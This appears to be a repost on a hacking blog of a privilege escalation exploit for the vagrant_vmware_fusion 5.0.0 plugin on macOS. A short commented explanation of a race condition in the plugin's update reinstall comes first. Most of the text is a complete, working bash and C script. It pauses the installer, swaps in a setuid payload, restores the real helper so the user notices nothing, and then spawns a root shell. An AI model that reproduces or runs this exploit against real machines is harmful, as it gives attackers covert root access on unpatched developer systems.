Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370481

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# After three CVEs and multiple exploits disclosed to Hashicorp they have finally upped their game with this plugin. Now the previously vulnerable non-root-owned
# ruby code that get executed as root by the sudo helper is no more and the sudo helper itself is one static Go binary with tightly-controlled parameters that
# can't (as far as I can tell) be exploited on its own.

# However I have discovered that the update mechanism in 5.0.0 is not completely safe. There is a bug in the update mechanism for 5.0.0 that makes it reinstall
# the plugin when you run:

# $ vagrant plugin update

# even if there is no update pending. The reinstall includes replacing the sudo helper and re-applying root ownership and the suid bit. This is done via
# osascript with a block of shell as an easy way to show a graphical popup authentication dialog to the user.

# After the credentials are entered and the permissions are applied the installer for the plugin immediately checks the hash of the sudo helper binary and if it
# doesn't match it removes it. On the surface this seemed to make a race condition impossible however after some poking around I found a way to exploit it.

# Because the authentication prompt is a guarantee of at least a few seconds pause in the intallation, we can catch this point in time very easily by scanning the
# process list watching for the invocation of osascript. Once we see this we can lay a trap by replacing the sudo helper binary with an exploit payload (remember
# this is always in a non-root-owned directory).

# As soon as the privileges are set vagrant will execute its checksum and remove the payload, however because we've caught execution at the right time and
# because the installer is a different process from the osascript process we can send a STOP signal to the installer to pause its execution. This means osascript
# will set the permissions and then the installer will not immediately remove the binary, giving us time to move our newly suid-root'd payload out of the way, use
# it to obtain root privileges, and then move the real sudo helper back into place and chmod +s it ourselves so that vagrant doesn't realise anything bad has
# happened.

# This all takes place in a second or two so the user is unlikely to notice either. Once this is done we simply send a CONT signal to the installer to allow
# it to continue as normal. The plugin is installed correctly with the right permissions, the user didn't see any errors or warnings, and we have an suid
# root payload that we can execute to spawn a root shell.

# This issue is fixed in version 5.0.1.

# https://m4.rkw.io/vagrant_vmware_privesc_5.0.0.sh.txt
# cdbdf9e620eba0d897a3ef92b6872dbb0b194eaf548c23953a42678a566f71f0
# -------------------------------------------------------------------------------
#!/bin/bash
echo "########################################"
echo "vagrant_vmware_fusion 5.0.0 root privesc"
echo "by m4rkw"
echo "########################################"
echo
echo "compiling..."

cat > vvf.c <<EOF
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int ac, char *av[])
{
  setuid(0);
  seteuid(0);
  if (ac > 1) {
    system("chown root vagrant_vmware_desktop_sudo_helper_darwin_amd64");
    system("chmod 4755 vagrant_vmware_desktop_sudo_helper_darwin_amd64");
    return 0;
  }
  system("rm -f /tmp/vvf_exp");
  execl("/bin/bash","bash",NULL);
  return 0;
}
EOF

gcc -o /tmp/vvf_exp vvf.c
rm -f vvf.c

echo "waiting for user to initiate vagrant plugin update..."

while :
do
  r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant_vmware_desktop_sudo_helper_darwin_amd64'`
  if [ "$r" != "" ] ; then
    break
  fi
done

pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64' |grep -v grep |xargs -L1 |cut -d ' ' -f2`

echo "pausing installer..."

kill -STOP $pid

cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.0/bin

echo "dropping payload in place of sudo helper binary..."

mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig
mv -f /tmp/vvf_exp vagrant_vmware_desktop_sudo_helper_darwin_amd64

echo "waiting for suid..."

while :
do
  r=`ls -la vagrant_vmware_desktop_sudo_helper_darwin_amd64 |grep -- '-rwsr-xr-x' |grep root`
  if [ "$r" != "" ] ; then
    echo "moving the real helper back into place..."
    mv -f ./vagrant_vmware_desktop_sudo_helper_darwin_amd64 /tmp/vvf_exp
    mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig vagrant_vmware_desktop_sudo_helper_darwin_amd64

    echo "fixing perms..."
    /tmp/vvf_exp 1

    echo "allow vagrant to continue..."
    kill -CONT $pid

    echo "spawning shell..."
    /tmp/vvf_exp
    exit 0
  fi
done